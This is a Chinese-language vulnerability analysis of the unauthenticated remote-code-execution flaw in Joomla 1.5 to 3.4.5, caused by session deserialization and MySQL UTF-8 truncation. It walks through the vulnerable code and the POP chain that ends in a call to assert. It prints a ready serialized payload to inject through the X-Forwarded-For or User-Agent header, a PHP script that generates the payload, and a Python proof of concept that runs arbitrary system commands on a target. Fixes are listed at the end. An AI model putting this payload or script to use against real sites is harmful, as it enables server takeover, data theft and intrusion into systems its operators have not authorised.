0x00 漏洞简单介绍
jooomla 1.5 到 3.4.5 的全部版本号中存在反序列化对象造成对象注入的漏洞,漏洞利用无须登录,直接在前台就可以运行随意PHP代码。
Joomla 安全团队紧急公布了 Joomla 3.4.6 版本号,修复了这个高危 0day 漏洞。
0x01 漏洞原理
漏洞存在于反序列化session的过程中。我们能够控制session的值。并且没有过滤我们构造的语句,通过mysql截断原理,在把session序列化值存入到数据中的时候截断了数据,造成原来的session无法正常解析,而通过注入|符号,利用sesseion处理漏洞机制的缺陷,导致我们构造的session序列化值能正常反序列化运行。
0x02 漏洞具体解释
在libraries/joomla/session/session.php文件里,joomla将HTTP_USER_AGENT和HTTP_X_FORWARDED_FOR直接存入到了session中
protected function _validate($restart = false)
{
// Allow to restart a session
if ($restart)
{
$this->_state = 'active';
$this->set('session.client.address', null);
$this->set('session.client.forwarded', null);
$this->set('session.client.browser', null);
$this->set('session.token', null);
}
// Check if session has expired
if ($this->_expire)
{
$curTime = $this->get('session.timer.now', 0);
$maxTime = $this->get('session.timer.last', 0) + $this->_expire;
// Empty session variables
if ($maxTime < $curTime)
{
$this->_state = 'expired';
return false;
}
}
// Record proxy forwarded for in the session in case we need it later
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
}
// Check for client address
if (in_array('fix_adress', $this->_security) && isset($_SERVER['REMOTE_ADDR']))
{
$ip = $this->get('session.client.address');
if ($ip === null)
{
$this->set('session.client.address', $_SERVER['REMOTE_ADDR']);
}
elseif ($_SERVER['REMOTE_ADDR'] !== $ip)
{
$this->_state = 'error';
return false;
}
}
// Check for clients browser
if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
{
$browser = $this->get('session.client.browser');
if ($browser === null)
{
$this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
}
elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
{
// @todo remove code: $this->_state = 'error';
// @todo remove code: return false;
}
}
return true;
}
那我们继续跟进查看joomla是怎么操作session的。在 /libraries/joomla/session/storage.php 内JSessionStorage 类中,利用session_set_save_handler又一次实现了 session 存储的read()和write()方法
public function register()
{
// Use this object as the session handler
session_set_save_handler(
array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'),
array($this, 'destroy'), array($this, 'gc')
);
}
public function read($id)
{
return;
}
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $session_data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 11.1
*/
public function write($id, $session_data)
{
return true;
}
从php手冊定义能够看出read()、write()方法传进和传出的參数会分别自己主动进行序列化和反序列化。这一部分的序列化操作由PHP内核完毕。
并且session存储引擎实现的过程中都没有对session的value值进行安全处理,直接就进行操作了。从joomla的配置文件configuration.php的文件里的$session_handler = 'database' 能够知道session默认的存储方式是存储到数据库中。
造成这个漏洞可行性的有两个关键点:
- joomla中session存储的格式是:键名 + 竖线 + 经过 serialize() 函数反序列处理的值 ,当用php(PHP <= 5.6.13)处理器处理session的时候有一个bug,假设有多个key->value的session的时候,第一个解析不对。会继续往下一个的key->value进行解析。其存储格式是。详细參考 https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
- 还有一个关键点是假设数据库编码是utf-8的时候。插入数据库的时候利用"%F0%9D%8C%86"字符能够将mysql中utf-8的字段截断了。这个參考当时爆出来的xss漏洞。
所以仅仅要站点的php版本号的低于5.6.13就满足条件,造成漏洞。
我们能控制的仅仅是session数据中的一个字符串。正常不会造成漏洞。可是我们通过注入一个|,然后配合php的bug就能成功反序列化我们构造的对象。
数据库正常的session
__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450278583;s:18:"session.timer.last";i:1450278583;s:17:"session.timer.now";i:1450278583;s:22:"session.client.browser";s:72:"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:16:"com_mailto.links";a:1:{s:40:"bfd1c1c06565573019854ec4292eb5dc7d87128e";O:8:"stdClass":2:{s:4:"link";s:66:"http://localhost/cms/Joomla_3.4.4/index.php/4-about-your-home-page";s:6:"expiry";i:1450278584;}}}
通过构造的exp
xxx|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð
注入到session数据库中的数据
__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1450278674;s:18:"session.timer.last";i:1450278674;s:17:"session.timer.now";i:1450278674;s:22:"session.client.browser";s:72:"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:16:"com_mailto.links";a:1:{s:40:"bfd1c1c06565573019854ec4292eb5dc7d87128e";O:8:"stdClass":2:{s:4:"link";s:66:"http://localhost/cms/Joomla_3.4.4/index.php/4-about-your-home-page";s:6:"expiry";i:1450278674;}}}405:"xxx|O:21:"JDatabaseDriverMysqli":22:{s:4:"name";s:6:"mysqli";s:12:"\0\0\0nameQuote";s:1:"`";s:11:"\0\0\0nullDate";s:19:"0000-00-00 00:00:00";s:26:"
因为我们注入到数据库的数据截断了原本在就在session数据库中的数据(xff或ua注入的seesion值会插入到原本session数据中,从上面给出的session也能够知道4个截断符号和后面的字符都没有了),使得__default这个健在解析所相应的值,无法正确解析,然后php session解析器不会销毁session并退出,而是继续寻找下一个key->value进行解析,所以导致我们构造的session序列化值能正常反序列,造成对象注入。
0x03 exp构造
POP 即面向属性编程,POP 链的构造是寻找程序当前环境中已经定义了或者可以动态载入的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。在joomla中找到了两个类用来构造rop链
- JDatabaseDriverMysqli
- SimplePie
在libraries\joomla\database\driver\mysqli.php文件里包括JDatabaseDriverMysqli,当中有一个魔术方法
public function __destruct()
{
$this->disconnect();
}
这种方法在类调用结束后会自己主动调用。也就是会运行disconnect的函数。
跟进disconnect的函数
public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
函数调用了call_user_func_array这个回调函数 ,第一个參数能够构造eval,然而我们无法控制第二个參数,所以无法构造成eval这个的后门。
可是我们控制第一个參数,就能够继续调用对象,这里调用SimplePie类对象。和它的init方法组成一个回调函数。
跟进SimplePie的init方法
function init()
{
// Check absolute bare minimum requirements.
if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
{
return false;
}
// Then check the xml extension is sane (i.e., libxml 2.7.x issue on PHP < 5.2.9 and libxml 2.7.0 to 2.7.2 on any version) if we don't have xmlreader.
elseif (!extension_loaded('xmlreader'))
{
static $xml_is_sane = null;
if ($xml_is_sane === null)
{
$parser_check = xml_parser_create();
xml_parse_into_struct($parser_check, '& ', $values);
xml_parser_free($parser_check);
$xml_is_sane = isset($values[0]['value']);
}
if (!$xml_is_sane)
{
return false;
}
}
if (isset($_GET[$this->javascript]))
{
SimplePie_Misc::output_javascript();
exit;
}
// Pass whatever was set with config options over to the sanitizer.
$this->sanitize->pass_cache_data($this->cache, $this->cache_location, $this->cache_name_function, $this->cache_class);
$this->sanitize->pass_file_data($this->file_class, $this->timeout, $this->useragent, $this->force_fsockopen);
if ($this->feed_url !== null || $this->raw_data !== null)
{
$this->data = array();
$this->multifeed_objects = array();
$cache = false;
if ($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
}
// If it's enabled and we don't want an XML dump, use the cache
这边调用了两个call_user_func,那能够把第二个call_user_func的第一个參数$this->cache_name_function赋值为assert, 第二个參数能够赋值为我们想到的代码,就能够造成随意代码运行的漏洞。
php class JSimplepieFactory { } class JDatabaseDriverMysql { } class SimplePie { var $sanitize; var $cache; var $cache_name_function; var $javascript; var $feed_url; function __construct() { $this->feed_url = "phpinfo();JFactory::getConfig();exit;"; $this->javascript = 9999; $this->cache_name_function = "assert"; $this->sanitize = new JDatabaseDriverMysql(); $this->cache = true; } } class JDatabaseDriverMysqli { protected $a; protected $disconnectHandlers; protected $connection; function __construct() { $this->a = new JSimplepieFactory(); $x = new SimplePie(); $this->connection = 1; $this->disconnectHandlers = [ [$x, "init"], ]; } } $a = new JDatabaseDriverMysqli(); echo serialize($a);
构造的时候有个问题。默认情况下SimplePie是未定义的,所以在调用SimplePie之前先new了一个JSimplepieFactory对象,由于JSimplepieFactory对象在载入时会调用import函数将SimplePie导入到当前工作环境:
在library/joomla/session/storage/database.php。read()方法中
public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
$db->setQuery($query);
$result = (string) $db->loadResult();
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
return $result;
}
catch (Exception $e)
{
return false;
}
}
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
所以我们的将我们构造好生成的exp中的chr(0)*chr(0)替换成\0\0\0。最后加上截断字符,加上键值和|符号。然后利用User-Agent或者X-Forwarded-For头发送http包写入到数据库中,再一次用同样cookie訪问站点就成功运行了exp。运行phpinfo()的exp例如以下:
X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}ð
exploit-db上生成随意命令代码的python脚本
'''
Simple PoC for Joomla Object Injection.
Gary @ Sec-1 ltd
http://www.sec-1.com/
'''
import requests # easy_install requests
def get_url(url, user_agent):
headers = {
'User-Agent': user_agent
}
cookies = requests.get(url,headers=headers).cookies
for _ in range(3):
response = requests.get(url, headers=headers,cookies=cookies)
return response
def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
pl = generate_payload("system('touch /tmp/fx');")
print get_url("http://172.31.6.242/", pl)
0x04 漏洞修复
- 改动 joomla 根文件夹 configuration.php 。把 $session_handler 的值改为none。会将session存储引擎设为文件系统。
- 把 PHP 版本号升到到 5.6.13 或更高的版本号。
- 更新joomla到3.4.6版本号
參考链接:
http://drops.wooyun.org/papers/11371
http://drops.wooyun.org/papers/11330
http://bobao.360.cn/learning/detail/2501.html
https://github.com/80vul/phpcodz/blob/master/research/pch-013.md